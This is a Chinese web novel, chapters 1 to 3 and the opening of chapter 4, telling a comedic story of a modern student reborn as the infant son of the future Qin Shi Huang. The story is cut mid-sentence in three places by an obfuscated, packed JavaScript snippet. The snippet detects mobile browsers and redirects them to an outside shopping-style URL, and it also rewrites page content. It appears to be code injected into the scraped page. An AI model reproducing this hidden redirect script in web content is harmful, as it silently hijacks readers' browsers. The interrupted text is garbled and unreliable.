《[秦二世]乐子人,但千古一帝》 1. 穿越了,但没有加载语言包 这就是韩非结巴的原因吗? 赵乐秦看着唾沫横飞、摇唇鼓舌的众人,大为震撼,啧啧称奇。 瞧瞧这串呜啦啦的弹舌。 上古音,牛逼! 等等!我什么时候听得懂上古音了?! …… 一声清脆的鸟鸣响起,紧接着,接二连三的叽喳声传入耳畔。 赵乐秦恍惚着从梦中惊醒,朦胧间睁开眼,原来已经是天光大亮。 赵乐秦还在望着房梁发呆,视线里忽然映出一个穿着素色短襦的女子。 赵乐秦脸色骤然一变,浑身僵直,脑子里发出尖锐爆鸣。 ——不要!!! 下一瞬,那女子轻快地把赵乐秦扒光了。 光天化日之下。 赤身裸体…… 赵乐秦痛苦地闭上了眼,悲愤地大声抗议:“小婴儿就没有人权吗?!” 可惜,纵然赵乐秦已经炸毛,这在旁边的侍从听来,也不过是一串含混的 “werwerwer” 罢了。 见到小婴儿脸色红润地咿咿呀呀,女子笑着打理好赵乐秦,把他放回平日最爱的软塌上,还顺手捏了一下他嫩嫩的脸蛋:“@#%¥&。” 赵乐秦看着女子含笑的眉眼,只得深深、深深地叹了口气——他听不懂。 下一瞬,围观的侍从们都笑了起来,紧接着就是一连串的叽里咕噜的加密通话。 “#%#¥……¥#%¥!” “#%*##%&%。” …… 赵乐秦麻木地想:谁说穿越古代语言不通会很痛苦?只要他愿意,那些听不懂的话就会自动变成背景音,然后像英语听力一样,从他光滑的大脑上滑走了! ——哈哈,统统选C! 赵乐秦鼓起腮帮子,直接屏蔽掉周围的噪音。 他伸长脖子努力张望,期待再找出些穿越背景的妙妙线索。 目前为止,赵乐秦根据周围的环境推测,他应该是一觉醒来魂穿到了古代,而且托生的这家非富即贵。 就是可怜这具身体的生母,没见过一面就撒手人寰了。至于亲爹,从他出生到现在就没露过脸。 ——呵,不负责任的老登,吾未壮,壮则有变! 赵乐秦胡思乱想着,伸长脖子四处张望。 他的眼睛无意识扫过一处花纹,忽然一喜。 这好像在某个博物馆见过? 赵乐秦眯起眼仔细观察了一会儿,小脸垮了下来。 不对,好像不一样。但确实有点熟悉…… 在脑子里拼命搜刮记忆时,赵乐秦忽然察觉到嘴里不同寻常的触感,他下意识一咬。 ——卧槽,怎么是我的手! 赵乐秦神智回归,连忙抽出湿哒哒的爪子,大呸口水。 噫!恶心! 赵乐秦感觉自己稍稍一放松,婴儿的底层代码就会自动接管大脑,变成一个阿巴阿巴流口水的小傻子。 赵乐秦本来以为穿越最大的难关是语言——超绝上古音,从入门到入土。 abandon!abandon!abandon! 但赵乐秦很快发现,虽然上古音无法量子速成,可只要他坚持不懈地偷听,就算学习姿态鬼鬼祟祟了一些,但也是能慢慢入门的。 他穿越后的最大挑战,竟然是小婴儿的生活本身。 从出生开始,赵乐秦就受够了看不清楚的眼、难以转动的头、无法控制的生理反应、张嘴只能发出小猪哼哼…… 然而,最考验赵乐秦的还是无孔不入的羞耻感。 赵乐秦不仅经常被脱光光搞强制露出,他还要被奶娘按头喂奶—— 赵乐秦第一次被喂奶时就鲤鱼打挺地抗争过,但没有一个大慈大悲的菩萨把睿智的眼光投向勺子和小碗——他们开始一个一个地换奶娘了! 但赵乐秦要的是转人工啊! 赵乐秦哭得嗓子都劈了,脆弱的婴儿身体直接两眼一黑。等他再次醒来,发现婴儿的本能悄然自动运转,他已经被奶娘喂过奶了。 那一瞬间,赵乐秦尴尬得恨不得自己直接嘎了。 都是死,比起社死,他还不如饿死。 在赵乐秦反复破防,逐渐麻木后,他忽然发现了自己的金手指——记忆力! 穿越前中医老妈念叨的每一张方子,木匠老爸领着他捣鼓的每一件木头玩意儿,还有他读过的书、逛过的博物馆……所有记忆里的画面都能精准调取,细节逼真到如同 IMAX 级的高清投影。 这和离线的全息技术有什么区别? 赵乐秦头一回发现这个金手指的时候,眼泪吧嗒吧嗒地往下掉。 呜呜呜呜呜…… 他都穿越了啊! 高三的时候多么需要过目不忘的脑子,金手指就是不来; 结果他刚高考完,还没开始玩就穿越了! 现在的赵乐秦,虽然达到了传说中“某东方大国之人一生的智力巅峰”,但同时还带着无数凌晨五点半起床的浓浓怨气。 ——穿越告诫老子前要好好学习,穿越后还要学习,那我不是白穿越了吗?! 带着一股子誓要玩个痛快的愤怒,赵乐秦开摆了。 他要用这个牛逼的脑子好好享受追剧看文了! 赵乐秦肆无忌惮。 赵乐秦嘎嘎大笑。 赵乐秦再次被婴儿的生理状况制裁。 小婴儿的大脑还未发育完全,但赵乐秦放飞自我,狂妄地逐字逐句回忆七部《哈利波特》。波特还没见到小天狼星,赵乐秦就眼冒金星,在奶娘惊恐地注视下吐得昏天黑地。 被再次扒光擦拭后,赵乐秦双目无神,羞愤欲死。 怎么别人穿越都是从从容容、游刃有余,到他这就匆匆忙忙、连滚带爬? 后来,即便赵乐秦早已行动自如、来去如风,他始终认为,一定是因为刚穿越这段时间憋坏了,他才会变成始皇帝亲自撸袖子追、扶苏反复替弟背锅、吕雉绞尽脑汁打补丁、六国恨得牙痒痒……的纯种乐子人。 · 时光飞逝,赵乐秦已经严格按照上辈子听说的“三翻六坐,七滚八爬,九立周会走”一一打卡。 作为一个别人眼里见风长,自己眼中度日如年的小婴儿,赵乐秦终于初步解锁了语言功能和行动能力。 虽然赵乐秦搞懂了大部分日常对话,但因为一说话经常呜哩哇啦、大流口水,他不得不惜字如金,好维持一下摇摇欲坠的体面。 但好在即使语言方面有点拉跨,赵乐秦的身体属性却格外超模。 他好吃好睡、科学锻炼。不知道遗传自谁的基因发力下,赵乐秦很快长出了结实的肉腿和一身旺盛的精力。 由于侍从担心襁褓婴孩脆弱,平日都是在屋子里严加护持,只有在风和日丽的时候才会让他在院子里晃几圈,更不要说放出院门。赵乐秦驯服双腿后,立刻便要开启新地图。 他翻过门槛,迫不及待地向着院门冲去。 下一刻,一个侍从就拦住了步子横行霸道的幼崽。 “不可出门。” 赵乐秦以为是因为当天有点小风,乖乖回屋了。但他很快发现,侍从们就是限制他的活动范围。 赵乐秦大惊失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124587|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色。 他大概是把老己养得太好了,简直浑身是劲,精力充沛得像一条热爱跑酷的狗。 而狗,是需要出门放风的。 随着赵乐秦越长越大,他躁动的灵魂愈发蠢蠢欲动。 赵乐秦几次越狱行动都被拦截后,他忽然和比格共情了。 这个屋子……好像也不是不能拆一拆? 这个念头一出来,赵乐秦顿时倒吸一口凉气。 如果他再不能出门的话,他美好的品德,美好的性格,甚至是灵魂都会被毁了。 满脑子“出门出门”的赵乐秦环视四周,低下头恶狠狠地扯了一把布老虎。 周围大人太多了,他需要屋里的人再少一点! 就在这时,窗外传来了一阵窸窸窣窣的动静。 赵乐秦立刻竖起耳朵—— “我听说@#gd。” 是一个侍从在窗边低声说话,恰被一缕清风卷着,悠悠捎进了赵乐秦的耳中。 赵乐秦立刻扔掉手中的布老虎,嗖嗖嗖挪到窗边。他随手拾起窗边的木头小人,心不在焉地摆弄着,继续偷偷摸摸地听墙角。 然而那侍从很快住嘴了,只听了半句的赵乐秦没能破译加密通话,慢吞吞地磨蹭回榻上,抓心挠肝地像一只吃不到瓜的猹。 最近侍从们明显喜气洋洋,但赵乐秦打听时却总被糊弄,被“真乖”“吃饭吗?”打发了几次后,赵乐秦不敢再刨根问底。 小婴儿日常会说一些简单词汇还行,但是能坚持打探大人偷偷说话的隐秘…… 嘶——太过神异,可就是异端了! 他这辈子生下来就失去了生母,亲爹又是个从不露脸的,一个小婴儿能活得如何全靠侍从们的良心,万一就是有人觉得要扼杀妖孽呢?他短胳膊短腿的也反抗不过啊! 但是,到底发生了什么事? 赵乐秦逐渐挂上了痛苦面具。 ——这和知道学校要搞个两天的大活动,但不清楚是要联考还是放假有什么区别? 他无奈地叹了口气,把这糟心事暂时扔掉,继续策划自己的出门大计。 赵乐秦乖乖地坐在榻上,安静地摆弄着木头小人。 一旁做衣裳的奶娘抬头看了一眼,发现赵乐秦垂着睫毛在玩戏偶,瞧着实在是个不哭不闹的好宝宝,她欣慰一笑,低头继续做活。 忽然间,不知道是不是洪秀全他爹听到了来自东方的祈祷,侍从们一个个出了门。 赵乐秦眼睛刷地一亮。 现在他的身边就剩奶娘一个人了,机会来了! 赵乐秦扬起很他有欺骗性的小脸,大眼睛眨了眨,仰头软软地说:“水~”。 等奶娘倒来一小碗水,他当即面带激动地站了起来,然后仿佛没站稳似的,身子一歪,整个人都扑了过去。 啪—— 水被冒失的幼崽打翻了。 赵乐秦低头看看被打湿的褥子,怯怯地抬头望向奶娘,大眼睛里满是无辜。 奶娘哭笑不得,轻轻点了点赵乐秦的额头,又起身倒来一碗。这次赵乐秦老老实实地喝了几口,然后又低头玩起了木头小马。 看赵乐秦一副沉迷的样子,奶娘随手把没喝完的水放在漆案上,准备出门招呼一声别的侍从暂时看着点,她要去换一下被弄湿的褥子。 就是这交接的一分钟! 在奶娘从视野消失的那一刻,赵乐秦丢下玩具就窜了出去。 比格短腿此时爆发出了巨大的潜力,不过四五秒的功夫,赵乐秦就冲到了门口。 然后—— 直直地撞到了一个巨人的脚上。 2. 文盲也可以套秦始皇的话吗? “啊——” 赵乐秦发出一声惨叫。 反作用力下,他感觉自己在空中飞了一小段。 赵乐秦咣当一下砸到了地上,四仰八叉。 好在古代的泥地没有做什么硬化,他艰难地一手支着地,一手揉了揉自己的屁股,顿时疼得呲牙咧嘴。 赵乐秦索性坐在地上,两手往后一撑,微微扬起下巴,严肃地问道:“你,是谁?” 虽然赵乐秦是在尽力保证吐字清晰,但这般一本正经的咬字,配上他那张唇红齿白、带着婴儿肥的严肃小脸,让那股令人手痒的萌感更强烈了。 黑衣男子被矮墩墩的幼崽撞个正着,顺势顿住脚步。见小不点儿明明摔疼了却没哭,他正暗自纳罕,忽又听见字正腔圆的发问,神情更是添了几分惊诧。 赵乐秦坐着还没一个板凳高,男子却将近两米。悬殊的身高差下,面前的男子好像一个穿着黑色袍子巨人。 赵乐秦先瞅着巨人的脚,又移到小腿,使劲儿仰着脑袋往上看,脖子都快抻断了才瞥见对方的下巴。 赵乐秦的小脸逐渐呆滞。 赵乐秦放弃仰头,视线缓缓下移,落到巨人腰间。 巨人的腰间束着革带,还挂着一把长而笔直的剑,剑鞘是暗色皮革包裹硬木,剑柄缠着金银丝。 赵乐秦微微眯起眼。 能佩剑啊,这男的好像有点东西。 赵乐秦又往下看,发现这男子的衣摆还绣有暗纹,阳光一照,恍若在隐隐浮动。 赵乐秦一时间感觉被金钱的光芒刺到了眼睛,低头看了一眼自己的衣服,不想吭声了。 赵乐秦明中打量的时候,男子也低头看着赵乐秦,眼中露出回忆之色。 片刻后男子若有所思,眉梢轻轻一挑:“已经会说话了?倒是聪慧。” 赵乐秦一脸冷漠。 聪不聪慧的已经不重要了,但他脖子都仰得有些痛是真的。 赵乐秦权衡利弊,反正今天的逃跑是注定要失败了,不如找个代驾还省得自己走。 他两只胳膊大大地张开,下巴一挑,再明显不过地示意:愚蠢的大人,如果你有点眼色,就赶紧主动当我的坐骑。 黑衣男子即便不知道什么叫e人,也被如此表现生生硬控了一瞬。 沉默的几秒中,他身后的侍从极有眼色,碎步出列,当即便欲上前代劳。 然而黑衣男子此时却仿佛得了趣味,他忽然抬手制止,然后伸出手臂一捞,一下就把赵乐秦拎了起来。 那侍从看到指令,立刻安静地退下,全程一丝声响都没有发出。 赵乐秦看着这一幕,悄悄地瘪了瘪嘴:啧。好装啊。 黑衣男子把赵乐秦拎起来后,他迟疑一瞬,就直接把这自投罗网的小孩儿放到了他的小臂上。 赵乐秦先是眼前一花,再坐稳后,他就变成了居高临下的视角。 赵乐秦情不自禁地“哇”了一声—— 就是这个视野!他实在是想念这个高度良多! 虽然这个愚蠢的大人抱小孩姿势不是很舒服,但是心情大好下,赵乐秦决定给坐骑一个好脸色。他挂起屡试不爽的招牌笑容:“你,好!”,然后伸出爪子大力拍拍男人的肩膀。 周围的侍从倒吸一口凉气。 赵乐秦听见动静扭头望去,有些疑惑地看了看他们脸上“不敢相信”、“天塌了”的丰富表情,脑海里隐约冒出一个猜想。但幼儿光滑的大脑正雀跃着,灵感像小鱼般闪过。稍不注意,那点子猜想便溜走了。 还未等赵乐秦努力思索,黑衣男子便轻笑一声,抱着他迈步走向宫殿。 随着男子迈进殿门,请安声同时整齐响起。 侍从们双手伏地叩首,迅速跪了一地。 赵乐秦魂飞天外的脑子也觉得有些不对了。 ber?这么大礼? ——等等,这该不会就是他那玩失踪的渣爹吧? 领头的奶娘战战兢兢地出来请罪,黑衣男子挥挥手,身后两个侍从立刻站出来,就要把人带走。 看着她瑟瑟发抖的样子,赵乐秦心中掠过一丝愧疚。他双手环住这个虽然不一定是渣爹,但绝对是有权利的老登,急急地开口:“停!” 这一嗓子喊得赵乐秦差点没兜住口水。 赵乐秦匆匆咽了一口唾沫,好不容易收住要泛滥的花洒,又赶紧开口:“她,好!” 男子有些惊讶地看向怀里的幼崽,只见小家伙眼睛瞪得圆溜溜的,乌黑的眼珠写满了紧张。 他饶有趣味地示意侍从们停下,又指着人开口问道:“你是说她好?” 赵乐秦毫不犹豫地点头。随着他急切的动作,头顶梳的小包包都狠狠一晃。 男子有些怀疑这幼崽是在瞎蒙,捏捏小孩因用力而鼓起来的圆脸,又道:“可是她和其他侍从让你跑出来了,就是失职。” 赵乐秦被无良大人捏的泪眼汪汪,两只小爪子托住肉脸蛋轻轻揉了揉,心里恨恨。 真是个老登!这种超绝上位者风格的大爹,简直就是把小孩当日本人整。 赵乐秦深吸一口气,然后拍拍自己的胸,言简意赅地表达:“我,坏。” ——老登,是我太调皮捣蛋坏得不行,奶娘兢兢业业是个好的,懂? 男子被逗笑了,冲侍卫挥了挥手:“去查查,没有别的错处就放回去。”然后转头看向劫后余生般的众人,收起笑容,声音沉沉道:“记住,是你们小主子给你们求情。” 赵乐秦看着侍从们的眼里满是感激,内心咋舌。 没跑了,瞧瞧老登这敲打的顺手劲儿,绝对是个上位者。 男子抱着赵乐秦脚步不停,走进屋子,眼睛扫了一圈,落在屋子里最显眼的漆案上。这个漆案平时在榻上放着,除了被赵乐秦当桌子使,偶尔还会被他当扶手来练习走路。 男子瞧见这榻上的漆案,直接把赵乐秦像盘菜一样端起来,然后把他整个放在案上,自己则顺势斜坐在旁边的榻上。 现在巨人和小不点的对视方便了很多。 赵乐秦虽然再次痛恨自己的迷你身高,但也没忘记最重要的问题。他一脸严肃地再次发问:“你,是谁?” 男人不语,只是突然伸手。 幼崽鼓鼓的包子脸,被戳了。 赵乐秦的幼崽壳子实在卖相极佳。平时侍从们不敢冒犯小主子,或者说不敢光明正大捏着玩,但是男子显然没这个顾虑。 他刚刚一捏的绝佳手感还犹在,现在这幼崽竟然又一脸正经地发问,即使不知“萌”是什么意思,男子也从心地再次伸出邪恶大手。 赵乐秦感受到自己脸又被袭击,整个人陷入不可置信地呆滞。 一个出场就逼格拉满的老登,好端端地,竟然也会突然做出这种幼稚的举动吗?! 赵乐秦在吃惊下放松了对肢体的控制,一个没注意,直接被男子的力道推得失去了平衡。他咕噜噜在漆案上打了个滚,好不容易扑腾着停下,又没法一下站起来,只得无助地挥舞着短手短脚,看起来简直就像一只被翻个儿的小乌龟。 老登显然没料到幼崽竟然还坐不稳,脸上浮现出一点惊诧。 他看着赵乐秦的四肢不断在空气中奋力划动,这点的惊讶很快转成了笑容。 赵乐秦整个人都懵了。 他也不再祈求无良大人伸手扶一把,自己猛地使劲,站起了身,结果用力过猛,没站稳又趴了下去。 接连的失败让赵乐秦几乎失去理智,他干脆四肢着地,怒火熊熊地抬起头,张口欲骂。 卡住了——中华上下五千年国粹在胸中徘徊,但都是普通话。 赵乐秦深吸一口气,他搜索着目前单薄的骂人词库,选出最具指责力量的词语,咬牙怒吼:“你,坏!” 当人弱小的时候,生气都是那么可爱。 破音的小奶嗓让老登彻底没憋住,畅快地大声笑了一通。 赵乐秦冷着脸,恶狠狠地瞪了他一眼:你以为三头身控制起来容易吗? 老登看到更乐了,好不容易止住笑,大发慈悲地解释道:“寡人是你的父王。” 赵乐秦虽然没学到“fu’wang”这个发音的含义,但结合前面侍从们的行为,加上前者“gua’ren”这个音肯定是自称,还有“xx是你的xx”的结构,答案已经很明显了—— 这个看起来很strong的黑衣男子,就是那个老婆难产都没来,然后把孩子抛之脑后的老登! 赵乐秦笑了。 不是不报,时候未到。 百因必有果,你的报应就是我。 老登虽然看起来气势逼人,但是就冲这先不负责任,后玩弄小孩的劲儿——你个渣爹,以后等好了! 赵乐秦眼睛一眨,便是一副天真疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124588|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑的表情。他歪头,睁着纯洁无辜的眼睛,满脸懵懵懂懂:道“什么是fu’wang?我可以、当你的fu’wang吗?” 老登一哽,脸色有点黑。但看着赵乐秦满脸无辜,一副“我什么也不知道”“你好凶”的委屈表情,他又软了心肠:罢了,毕竟出生就丧母,又有谁教过他呢? 他摸了摸赵乐秦圆润的头:“你是寡人最小的儿子,你还有二十几个兄姊。寡人是你们的父王。” 赵乐秦迅速捕捉到关键词“最小”、“二十几个”,愉快地眨眨眼:嚯!还是幼子身份!vip特权,过期作废啊! 赵乐秦继续直钩套话:“什么是gua’ren?” 大爹耐心地纠正:“gua’ren是%#¥@,你不可¥%@#gua’ren,只有%&@%方可%&gua’ren。” 赵乐秦沉默了,这跟听到一个长难句,但只知道有个can和can’t有什么区别? 生词太多,听力测试失败。 赵乐秦摇摇头:“我不懂。”端详了一下大爹的穿搭:交领右衽,玄色。再观察几天,要是大爹老穿黑,说不定是秦朝或者西汉早期的贵族或者大官。 赵乐秦的视线飘到旁边的陶碗里的水,突然来了主意! 他手脚并用爬到碗旁,伸手蘸了蘸水,在漆案上画了几道水痕。然后拉起大爹的手,眼巴巴瞅着他,希望大爹能高抬贵手,纡尊降贵写个字。 大爹又是一乐:“难不成是想要寡人给你写字?你认识字吗?”不过他虽然嘴里吐槽,手上倒是配合着写了一个大字。 赵乐秦紧紧盯着修长的手指,视线随着指尖移动。 只见手指漂亮地落下最后一笔——是大篆的“秦”字! 现在是秦朝! 还能精确到是李斯创造小篆前,是公元前221年统一文字前的秦朝! 赵乐秦眼睛噌得亮了:总算不是两眼一抹黑了,老登总算办了件人事! 赵乐秦高兴地抬头,对着大爹摆出最可爱的笑容,用自己最好的夸人词汇称赞道:“很好!” 没办法,他能不漏口水、吐字清楚的就这一个。 大爹斜睨了赵乐秦一眼:这三头身小孩明明什么也不懂,夸人倒是起劲。也罢,寡人就当今天陪他了。他刷刷刷又写几个大字,抬眼看看眼睛发亮的小孩,指着字读道:“你刚刚不是问gua’ren是什么意思吗?gua’ren就是王的自称。” 赵乐秦简直不敢相信事情有这么顺利! “王”字他能不认识吗! “秦” “王” 原谅他,他第一个能想到的就是秦始皇。 赵乐秦激动地复述:“父王,王?!” 大爹矜持地点点头,指了一下自己:“寡人就是秦国的王。” 赵乐秦着急地抓耳挠腮:怎么才能知道这个大爹到底是秦国的哪位国君? ——有了! 赵乐秦站起来四处张望,拾起扔在一边的木头小人,作介绍状:“这是阿大公子。”,然后又拍拍自己的小胸膛:“我是小二公子。”,接着仰起脸满怀期望地问道:“父王是什么王?” 大爹看着被赵乐秦时常摔打、面目都有些扭曲的木头玩具,有些不想承认自己是这玩意儿的父王,沉默一瞬,开口纠正道:“你是我的儿子,自然是秦国的公子。” 赵乐秦急得拍了一下肉肉的大腿:天天被侍从们称呼“公子”,他当然知道公子是指自己!但这不是不知道“名字”怎么发音嘛?只能期待大爹领悟文盲的交流方式。 赵乐秦撅着屁股费劲地从漆案上爬下来,又从各个犄角旮旯翻出自己的玩具,开始虚空造名:“这个、是阿张公子,这是李公子,这个、是王公子……” 大爹看着一案的球、木头剑、小鼓等等一堆有名有姓的玩具公子,好像理解了赵乐秦的意思。 赵乐秦眼巴巴地为赐名大会收尾:“父王,是什么王?” “寡人姓赵,名政。” 大爹再次蘸水,写下了自己的名字。 赵乐秦呼吸都粗重了:%政,虽然他不认识“%”这个大篆到底是个什么意思,但前后联系起来铁定是“赵政”没跑了! 卧槽! 我爹是秦始皇! 活的! 秦始皇! 赵乐秦扑了上去。 3. 本宫要杀了胡亥! 这是扑向秦始皇吗? 这是扑向荣华富贵、高床软枕,扑向拼爹的终极核武,扑向他的幸福未来啊! 望父成龙! 望父成龙! 祖龙! 赵乐秦嘴角情不自禁地浮现出痴笑,被自己光明的前途照得睁不开眼。 嬴政没有拒绝幼崽的亲近,他略带僵硬地伸手,用接一卷竹简的姿势,两手一合,握住了幼子还带着奶香味的腰……肚子,举在自己面前。 赵乐秦顺势凑上去,用自己嫩呼呼的小脸蹭了蹭嬴政的额头。 这柔软又温暖的触感袭来,竟让嬴政一时间有些无措。记忆里,他从未与父亲有过这般亲昵,更不曾与自己的子女如此亲近。 但是赵乐秦不过一触而分,这让嬴政微不可查地松了一口气,下意识忽略心中微妙的失落感。 赵乐秦虽然看在祖龙爹的份上卖了一下自己的脸蛋,但天生乐子人很快从“我爹是始皇”的冲击下回神。 赵乐秦暗中思索着:目前的主要矛盾,是拥有顶级皇帝爹和不幸同时被塞了一个畜生兄弟胡亥之间的矛盾,是他短期内美好幸福生活和未来巨大风险之间的矛盾。 拥有一个祖龙爹千好万好,但是不解决胡亥这个坏种,他最后的结局不是分尸就是乱刀砍死,倒霉到家说不定还会遭上个车裂…… 赵乐秦微微眯起眼睛,看了看自己的短手短脚,在心里迅速确定下方针。 ——得先提高自己在大爹心中的地位。 不是说胡亥是最受宠的公子吗?一个雄心勃勃要一统六国的帝王,能分给子女的关注总共就那么多,祖龙心中的地位,他不抢占就会被别人抢占,那还是他笑纳了吧! 嬴政可不知道,才几秒的功夫,面前唇红齿白的稚童只淡淡垂了垂眼,就在心里过了一出甄嬛传。 嬴政还在回味幼崽脸蛋软软的触感,又非常从心地抬手捏上了上去。 为什么他以前没发现孺子这么好玩呢?哦,是因为孺子一见面就哭闹,有时候还脏兮兮的,瞧上去也有点傻。倒是这小子,看起来干净又聪慧。像他。 赵乐秦还不知道自己已经刷了一波印象分,他被捏得脸蛋红红,虽然口齿不清、含含糊糊,但仍然坚强地发问:“阿父,人人,高兴?为何?” ——到底发生了什么事? 这个问题可着实让赵乐秦好奇了好久,但是他要维持“省心天使宝宝”和“正常小婴儿”之间的平衡,不能对侍从们反复问,想办法偷听又失败了,实在是憋死他了。 不过,这样的憋闷在赵乐秦试探出大爹的身份后,就可以彻底结束了。 亲爹都是嬴政了,这还装什么笨蛋啊! 嬴政作为一个13岁就当上了秦王,21岁一亲政就把吕不韦势力连根拔起,然后迅速掌控秦国大权,硬生生打造出了所向披靡的耕战机器,把六国捅了个对穿。 这样一个千年难遇的天生帝王、一个才智与毅力都非同寻常的猛人,他会觉得自己的儿子聪慧一些是不对吗? 嬴政随随便便地想一下当年,再低头看看怎么瞧怎么普通的儿女,怕不是内心会充满疑惑:为什么寡人十几个儿女,都不像寡人半分呢?寡人的孩子不应该是天才吗? 赵乐秦在靠他的散装古语努力造句,而嬴政则是觉得幼崽现在的表情有意思极了。 看着赵乐秦满脸的渴望与好奇,嬴政不紧不慢地欣赏了一会儿,然后在幼崽火烧眉毛的急切视线下,悠悠地吐出几个字。 “倒也不是大事。” 赵乐秦像只着急的小扑棱蛾子,眼睛瞪得溜圆,胳膊上下直挥。他紧紧盯着嬴政因垂眸俯视而半阖的眼睛,然后一把抓住嬴政的大手,顺着嬴政捏脸的动作,微微用力—— 已经用脸蛋贿赂你了,连吃带拿可要不得! 嬴政被逗笑了。眼见着赵乐秦好奇地快要爆炸了,他在幼崽软乎乎的脸蛋上轻轻一掐,终于大发慈悲地给出了答案:“寡人前几个月灭掉了韩国,现在,韩国是大秦的颍川郡了。” 赵乐秦连蒙带猜的翻译了一会,然后被自己推测出来的意思惊到。 他满脸震撼地抬头,嘴巴不知不觉间张成一个标准的O形,只觉得眼前这男人一瞬间好像浑身王霸之气:这、这就开始灭六国了? 嬴政含笑看着一会儿迷茫、一会儿震惊的幼崽,长臂一伸,把幼崽捞过来摆正,然后蘸着水,随手就在漆案画起地图。 随着嬴政的勾画,漆案上,七国地图逐渐浮现。 赵乐秦呆呆地看着漆案,印照着自己的记忆,把大篆形式的七国名称逐渐对应: 秦、楚、齐、燕、赵、魏、韩。 嬴政画完,捏起赵乐秦的小爪子,拉着他的胳膊在韩国的位置轻轻一拍,轻笑出声:“韩国已经被寡人灭了。” 赵乐秦感觉手心一凉,漆案上“韩”字宛若被他的手一箭穿心。不一会儿,“韩国”的部分便逐渐糊成一团,随着水渍的流淌逐渐消失在华夏地图上。 赵乐秦仰头,看到嬴政眼睛里露出的锋芒和他微微勾起的嘴角,那表情、那气势! 赵乐秦心里的激动难以抑制,他嗷地一声,下一秒伸出罪恶的小爪子,啪啪啪—— 赵乐秦一口气连拍了五下。 现在漆案上只剩下秦,只有秦。 赵乐秦现在只恨自己口齿不清,不能表达出他此刻的心潮澎湃。他严肃地抿了抿嘴,两只手郑重地抓起嬴政的手指头:“阿父,灭六国!阿父,好!阿父,聪慧!” 赵乐秦说这话毫不亏心。他现在是比嬴政本人还相信嬴政,毫不怀疑秦国未来必定会统一天下。 嬴政听到幼崽的话大笑出声。 正逢灭韩,幼子又说出如此童谶,这不是祥瑞是什么? 迷信的嬴政只觉得这话说到了自己的心坎上。 嬴政摸摸赵乐秦的脑袋,看着仍然一脸激动的幼崽,思索一瞬,扬声道:“明。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124589|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚刚那个极有眼色的侍从立刻出列,他双手合抱行了一礼,然后垂手侍立,听候指令。 嬴政微微颔首:“以后你跟着他。有什么事随时来报。” 赵乐秦看着这个叫“明”的侍从又恭恭敬敬地行礼称诺,然后倒退两步,转身站在塌边,低头垂手侍立。 这是拨了个御前大太监? 赵乐秦瞄了两眼,也没看出什么阴柔气质来,估摸是个正常隶臣。 不管怎样,这是始皇看重他呀! 赵乐秦嘿嘿一笑。 就算这个小明是个眼线他也认了。而且这种安排说不定会有奇妙效果。比如,他正好在想,该怎么给嬴政留下除了聪慧的其他印象——顽皮。 一个一直以来都规规矩矩、恭敬有礼的儿子,如果某天做出点稍微出格的举动,不仅周围人会相当惊诧,搞不好还会引来大爹的训斥惩罚。 但是,如果是一只从小就踢天蹦地,淘得天下胆子十分、上天倒欠他八斗的魔丸呢?只要留下“他从小就这种性子”“他就是淘气”的第一印象,心里预设下,大家的潜意识都会对此宽容几分。 立魔童人设,得一生自由。这简直是绝无仅有的划算买卖。 小癫公胡说八道很正常啦! 乐子人上房揭瓦很常见啦! 哪天比格儿子创累了不拆家,嬴政搞不好还会欣慰夸赞呢! 都穿越了,思路打开—— 看看大爹的所作所为就知道了:六王毕,四海一,首创皇帝称号,立碑刻石自夸“德惠修长”。这样金光闪闪的功绩彪炳史册,难不成大爹会不顾生前身后名,让史书上留下一笔类似于“子始三岁,帝大怒,贬为庶人”的话? 所以,赵乐秦决定: 他要趁着幼崽壳子,给始皇陛下好好开开眼; 他要展现魔丸本色,随机吓死一只路过的大儒; 他要当一个天才顽童,带来一点现代脑洞的小小震撼; 他要做最纯粹的乐子人,用高三生的精神状态创飞所有人; 他要做宫廷最爽的崽…… 嬴政看着赵乐秦脸上浮现傻笑,又捏了捏幼崽脸上的软肉。 赵乐秦仰头,努力吞咽口水保持自己的体面,满是疑惑地望向嬴政:“唔?” 嬴政嘴角可疑地翘了一下,开口道:“寡人要去处理政务了,有什么事情让明来找寡人,知道吗?” 赵乐秦歪头猜了一下大爹说话的内容,顿时眼睛一亮,连连点头。 嬴政又撸了一把赵乐秦的脑袋,然后径直起身,带着两列侍从浩浩荡荡地离开了。 赵乐秦两手托着自己的腮帮子,看着自己的侍从在小明的带领下齐齐行礼。 赵乐秦眯着眼,看着大爹消失在视野中。 接下来,他主线任务就是一件事——找出胡亥,弄死! 赵乐秦努力把肉肉脸摆出凶残模样: 先下手为强,这叫智取,宝贝儿! 4. 误会,都是误会 有了御前牛人小明后,赵乐秦快活得像一只自由的小鸟。 